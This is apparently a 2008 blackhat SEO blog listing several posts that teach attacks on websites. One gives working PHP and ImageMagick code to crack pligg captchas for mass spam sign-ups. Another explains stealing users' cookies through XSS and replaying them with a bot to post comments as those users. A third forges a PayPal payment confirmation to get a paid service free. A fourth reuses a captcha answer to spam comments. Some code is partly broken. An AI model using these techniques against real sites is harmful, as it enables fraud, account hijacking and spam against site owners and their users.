Latest Posts
How to crack a captcha
Ingredients:
- a pligg captcha
- gocr
- ImageMagick
- PHP
You’ve probably already heard about pligg, it’s a digg clone which is pretty easy to install. That means a lot of people already have it running on their domain (free backlinks with different IPs and PageRank!).
Pligg demands you enter the right captcha answer at sign up. Once you’re signed up however, you no longer need to enter captcha’s. So if you’re like me, you sign up for the sites, keep the passwords and logins in a nice list, put a small bot together and throw a couple of links to the pligg sites.
If however, you want to sign up for a lot of pligg sites and don’t want to do it manually you’ll have to crack the captcha pligg provides. Lukily the captcha is pretty easy to crack since there is enough space between all the numbers.
So we start by downloading the captcha through PHP with wget, you can fetch the captcha’s URL with fsockopen/curl on the sign-up page:
-
exec("/usr/bin/wget -O /home/cracker/captcha.jpg http://www.pliggsite.com/ts_image.php?ts_random=[xxxx] . " > /dev/null"));
-

Okay so we downloaded the captcha and saved it. Now let’s perform some ImageMagick actions to clear the noise in the background. We’ll use a floodfill to find the background color and then remove it from the image.
-
//optimize
-
exec("/usr/local/bin/convert /home/cracker/captcha.jpg -fuzz 25000 -fill black -draw ‘color 5,5 floodfill’ -quality 100 /home/cracker/captcha_c.jpg");
-
//floodfill and fill bg in black
-
exec("/usr/local/bin/convert /home/cracker/captcha_c.jpg -negate -quality 100 /home/cracker/captcha_h.jpg");
-
//negate the picture
-
-
exec("/usr/local/bin/convert /home/cracker/captcha_h.jpg -shave 10×10 -quality 100 /home/cracker/captcha_cracked.jpg");
-
//remove the border
Now we have a nice image with no background noise:

Ok so that’s looking pretty good. However we need to optimize this image a bit. First of all, for gocr to work properly we’ll need to add more space in between the numbers. We also should make the numbers bolder so gocr will recognize it better/faster.
-
$im = imagecreatefromjpeg(‘captcha_cracked.jpg’);
-
-
$width = imagesx($im);
-
$height = imagesy($im);
-
-
$x = 0;
-
$y = 0;
-
-
$new = imagecreate($width+300, $height+200); //make space for the extra spacing
-
$white = imagecolorallocate($new, 255, 255, 255);
-
$black = imagecolorallocate($new, 0, 0, 0);
-
$start = false;
-
$hitfound = 0;
-
$newx = 0;
-
$newy = 0;
-
$lastx = 0;
-
while ($x < $width) {
-
$y = 0;
-
-
$foundblack = 0;
-
-
while ($y < $height) {
-
if ((16777215 - imagecolorat($im, $x, $y)) > 1211142 ) {
-
$newy = $y;
-
imagesetpixel($new, $newx, $newy, $black);
-
imagesetpixel($new, $newx+1, $newy, $black);
-
imagesetpixel($new, $newx-1, $newy, $black);
-
-
$foundblack++;
-
} else {
-
if ( (aboveme($im, $x, $y) && belowme($im, $x, $y)) ) {
-
imagesetpixel($new, $newx, $newy, $black);
-
$foundblack++;
-
} else {
-
imagesetpixel($new, $newx, $newy, $white);
-
}
-
}
-
$y++; $newy++;
-
}
-
if ( ($foundblack < 2) && ($start) && ($hitfound < 7) && ($x > $lastx+6) ) {
-
$newx += 50;
-
$lastx = $x;
-
$hitfound++;
-
}
-
if (($foundblack > 0) && (!$start)) $start = true;
-
$x++; $newx++;
-
}
-
imagejpeg($new, ‘old.jpg’, 100);
-
-
//round 2
-
-
$im = imagecreatefromjpeg(‘old.jpg’);
-
-
$width = imagesx($im);
-
$height = imagesy($im);
-
-
$x = 0;
-
$y = 0;
-
-
$new = imagecreate($width+200, $height+200);
-
$white = imagecolorallocate($new, 255, 255, 255);
-
$black = imagecolorallocate($new, 0, 0, 0);
-
$start = false;
-
$hitfound = 0;
-
$newx = 0;
-
$newy = 0;
-
-
while ($x < $width) {
-
$y = 0;
-
-
$foundblack = 0;
-
-
while ($y < $height) {
-
if ((16777215 - imagecolorat($im, $x, $y)) > 2211142 ) {
-
$newy = $y;
-
imagesetpixel($new, $newx, $newy, $black);
-
imagesetpixel($new, $newx+1, $newy, $black);
-
imagesetpixel($new, $newx-1, $newy, $black);
-
-
$foundblack++;
-
} else {
-
if ( (aboveme($im, $x, $y) && belowme($im, $x, $y)) || ( diagonal($im, $x, $y) ) ) {
-
imagesetpixel($new, $newx, $newy, $black);
-
$foundblack++;
-
} else {
-
imagesetpixel($new, $newx, $newy, $white);
-
}
-
}
-
$y++; $newy++;
-
}
-
if (($foundblack > 0) && (!$start)) $start = true;
-
if ( ($foundblack < 2) && ($start) && ($hitfound < 6) ) {
-
$hitfound++;
-
}
-
$x++; $newx++;
-
}
-
imagejpeg($new, ‘new.jpg’, 100);
-
}
-
function aboveme($im, $x, $y) {
-
return isBlack($im, $x, $y-1);
-
}
-
function diagonal($im, $x, $y) {
-
return (isBlack($im, $x+1, $y-1) && isBlack($im, $x-1, $y+1) && isBlack($im, $x+2, $y-2));
-
}
-
-
function belowme($im, $x, $y) {
-
return isBlack($im, $x, $y+1);
-
}
-
function doublebelowme($im, $x, $y) {
-
return isBlack($im, $x, $y+2);
-
}
-
function leftme($im, $x, $y) {
-
return isBlack($im, $x-1, $y);
-
}
-
function rightme($im, $x, $y) {
-
return isBlack($im, $x+1, $y);
-
}
-
function isBlack($im, $x, $y) {
-
return (16777215 - imagecolorat($im, $x, $y)) > 2211142;
-
}
This code is using php’s GD library to perform some operations. It will scan the image and if it finds a spot with less than 2 black pixels it means there’s a space between the 2 numbers. We put extra space between the numbers and make them bolder.

The final step is to fetch the result from gocr.
Ofcourse you first need to train gocr, you can do this by:
This will train gocr. If you feel gocr has learned enough, you can request the captcha result by doing:
$a will contain the answer, simply post that to the sign up page with fsockopen and you’re in! Massive accounts in no time.
Aug 22, 2008 | 0 comments | Read moreFeeding cookies to a bot
You’ve probably heard of XSS. The javascript injection which will steal your cookie, bypassing the cross-domain policy implemented by browsers. Normally, you are not allowed to see the cookie of another site/control a user on another site.
However, if a site has XSS leaks, this does become possible. All you need is a way to inject javascript (clientscript) code onto the page. It does not even have to be saved on the site itself, simply an unfiltered echo $_GET['whatever']; will do.
Once you find this, you can steal the cookie and use it to act like the user. There are 2 options: either you use the cookie with a bot you wrote, or you mimic the user actions with javascript/ajax, since you can access javascript on the other site.
I’ll talk about sending the cookie to your bot, which will for example post a comment on a popular social network.
Let’s say the XSS hole you found is : http://www.othersite.com/input.php?txt=[whatever]
All you do is inject this piece of javascript code to attach the script to the current page:
This will send the cookie to cookiejar.php where we will catch the cookie and feed it to our bot.
-
function post($cookie) {
-
-
if (!$fp) {
-
echo "$errstr ($errno)<br />\n";
-
} else {
-
$salida = "POST /comment.php HTTP/1.1\r\n";
-
$salida.="Host: othersite.com\r\n";
-
$salida.="Cookie: " . $cookie . "\r\n";
-
$salida.="Connection: close\r\n\r\n";
-
-
-
}//end while
-
}//end else
-
}
Now the bot will send a comment under the user’s name. Ofcourse, this will use the same IP address for all the users you stole their cookie from. If you want to avoid this, mimic the behaviour in ajax.
Aug 14, 2008 | 0 comments | Read moreseoBooster will boost your rankings
I decided to put a script online which I use to promote my websites. This script will get a new site indexed in google in 2 hours. It generates about 50 backlinks (all whitehat) from various social bookmarking sites, pliggs (digg clones), directories, …
It will also submit your site and keywords to SQUIRT and SQUIRT2 which is a seo tool to promote your sites. SQUIRT will submit your site to various social bookmarking sites, directories, a dedicated blog network and more… You can read more about SQUIRT here.
This tool will submit your site to (19 bookmarking sites):
- ClipClip
- Furl
- Del.icio.us
- SearchLes
- BlinkList
- Spurl
- Simpy
- ThingsIWant
- SpotBack
- Faves
- BuddyMarks
- Mister-Wong
- FyberSearch
- and some more minor bookmarking sites
It will ping your feed to pingomatic and submit it to rss aggregators.
It will generate a backlink on 55 different popular pligg websites (all different C class IPs), most with pagerank.
So on top of all the advantages that SQUIRT and the new SQUIRT2 gives you, you get additional benefits by all the extra features I added in my script.
You can use this script for $7 / url which is very cheap considering there are tons of services on digitalpoint asking a lot more for less.
| URL: | |
| Feed: | |
| Tags: | |
| Cat: | |
| Description: | |
| Title: | |
Take advantage of this script now:
This will redirect to a page after payment where you can enter your URL and keywords. Enjoy the backlinks!
Multiple domains? Contact me or add a comment for a discount.
Jul 27, 2008 | 1 comment | Read moreRe-use paid service
Programmers are lazy. Especially when it comes to protecting their program. Yesterday I came across a nice example of laziness.
Let’s say you buy an online service somewhere through paypal. Like for example a site which will submit your article to hundreds of other websites. But you have to pay each time you submit a new article.
How can you bypass this? Well first, you’ll have to pay for 1 article just to see how the system works and verifies purchases. So what I did was input my article in the form, pay with paypal and see how my article was being published on all the other websites.
In the background I had been logging all headers and responses with Live Http Headers. After I submitted the form, I was being redirected to a file called paypal.php which saves the article and redirects to paypal. In the post redirect to paypal the owner of the site naturally sends along an ID to the saved article so that when I paid it will know what my article is.
So I paid and was redirected to a page confirming my payment (/cgi-bin/paid.pl) with the following post parameters sent from paypal to the confirmation page:
So naturally, I captured this and tried the following:
-
if (!$fp) {
-
echo "$errstr ($errno)<br />\n";
-
} else {
-
$postdata = ‘txn_type=web_accept&payment_date=11%3A09%3A21+Jul+26%2C+2008+PDT&last_name=John&residence_country=US&item_name=Whatever&payment_gross=10.00&mc_currency=USD&business=&payment_type=instant&payer_status=verified&verify_sign=KiPd9Bdvkeyf7FQfdbScxo4dgo3pxccAEgZO5zWesa23-6fdf-cfsRndvPLzSvxc6Jds903dfDF&payer_email=&tax=0.00&txn_id=&first_name=&receiver_email=&quantity=1&payer_id=&invoice=[INVOICE ID]receiver_id=&item_number=&payment_status=Completed&mc_fee=1.17&payment_fee=1.17&shipping=0.00&mc_gross=10&custom=&charset=&notify_version=2.4&merchant_return_link=Click+Here+to+Continue’;
-
$salida = "POST /cgi-bin/paid.pl HTTP/1.1\r\n";
-
$salida.="Host: www.target.com\r\n";
-
$salida.="Content-Type: application/x-www-form-urlencoded\r\n";
-
$salida.="Connection: close\r\n\r\n";
-
$salida.=$postdata;
-
echo $d;
-
}
-
}
Which the paid.pl gladly accepted and started with distributing my article.
So after that I tried inputting another article in the form, get redirected to paypal. I did not pay, but instead captured the Invoice ID and changed it in the postdata in the code below.
The mistake that paid.pl made was not using the paypal API to verify if the payment was in fact completed. Instead, it simply looked at one of the parameters, presumable payment_status and just assumed the payment was completed.
So modifying parameters and then sending them to a payment verification system might sometimes work if the programmer was too lazy to use the paypal API.
Ofcourse you could use FireFox’s Tamper data as well to do this kind of stuff.
Jul 27, 2008 | 0 comments | Read moreDefeating Captcha’s
This is my first post on this brand new website focussing on programming tricks.
This one is for all you blackhat seo people out there trying to beat captcha’s with gocr or your own code.
The first thing you have to realise is that beating captcha’s with neaural networks is possible, but it’s very hard.
So if there’s an easier way out, then we’d all be happy to follow that route, right?
Let’s think about how a captcha system works. You create a random string, use GD or ImageMagick to put the string in an image. For the system to know if the entered code corresponds to the right string in the image, it needs to know the answer for every generated captcha.
We can assume that most captcha systems link the filename of the captcha image to the right answer in a database, like so:
Table answers
——————–
Generated image | Answer
————————-
captcha1.jpg | DOF93fF
captcha2.jpg | lf3FM9
Once a person/bot enters the text in the textfield, the system will check if the input corresponds to the right answer. If the input is the same as the answer, you can pass. After that the system SHOULD remove/deactivate the row because the right answer was given to the question.
This is where a lot of systems go wrong. They keep the row in the database, they do not deactivate or remove this row. What are the consequences?
Let’s say I want to post a comment on a blog like this with php:
-
function comment() {
-
if (!$fp) {
-
echo "$errstr ($errno)
-
\n";
-
} else {
-
$postdata = "comment_ID=0&comment_level=&comment_post_ID=348&redirect_to=&author=poster&email=fakemail@mail.com&url=&comment=" . urlencode("drop your link here") . "&comment_autobr=1&comment_cookies=1&capcode=ZUTEoo&cid=413&submit=Send+comment";
-
$salida = "POST /htsrv/comment_post.php HTTP/1.1\r\n";
-
$salida.="Host: " . $domain . "\r\n";
-
$salida.="User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en-US; rv:1.8.1.3) Gecko/20070309 Firefox/2.0.0.3\r\n";
-
$salida.="Content-Type: application/x-www-form-urlencoded\r\n";
-
$salida.="Referer: http://" . $domain . $rest . "\r\n";
-
$salida.="Connection: close\r\n\r\n";
-
$salida.=$postdata;
-
-
echo $d;
-
}
-
}
-
}
The headers I got by making a most through firefox and capturing them with Live HTTP Headers.
As you can see, the captcha details are included in the post parameters:
The cid is most likely the number of the row in the database, this way the system keeps track of which captcha is displayed. The capcode is the correct answer I entered, so this comment will succeed.
Since this is an example of a bad captcha system, it will ofcourse not remove/deactivate the row in the database. Which means I can trick the system into thinking I got the same captcha again (while obviously I got another captcha) and use the same answer I provided earlier. I simply change all the other post parameters but keep using the same captcha parameters:
-
function comment() {
-
if (!$fp) {
-
echo "$errstr ($errno)
-
\n";
-
} else {
-
$postdata = "comment_ID=0&comment_level=&comment_post_ID=455&redirect_to=&author=poster&email=fakemail@mail.com&url=&comment=" . urlencode("drop your link here") . "&comment_autobr=1&comment_cookies=1&capcode=ZUTEoo&cid=413&submit=Send+comment";
-
$salida = "POST /htsrv/comment_post.php HTTP/1.1\r\n";
-
$salida.="Host: " . $domain . "\r\n";
-
$salida.="User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en-US; rv:1.8.1.3) Gecko/20070309 Firefox/2.0.0.3\r\n";
-
$salida.="Content-Type: application/x-www-form-urlencoded\r\n";
-
$salida.="Referer: http://" . $domain . $rest . "\r\n";
-
$salida.="Connection: close\r\n\r\n";
-
$salida.=$postdata;
-
-
echo $d;
-
}
-
}
-
}
So I changed the comment_post_ID parameter, which means I posted a comment on another page/blog, but I still kept using the same captcha answer. A lot of systems are vulnerable to this technique, I have been using this very same technique on alexa top 50 websites and they still are vulnerable after all these months.
I hope all of this makes sense. If not, please leave a comment and I’ll do my best to explain.
Jul 23, 2008 | 0 comments | Read more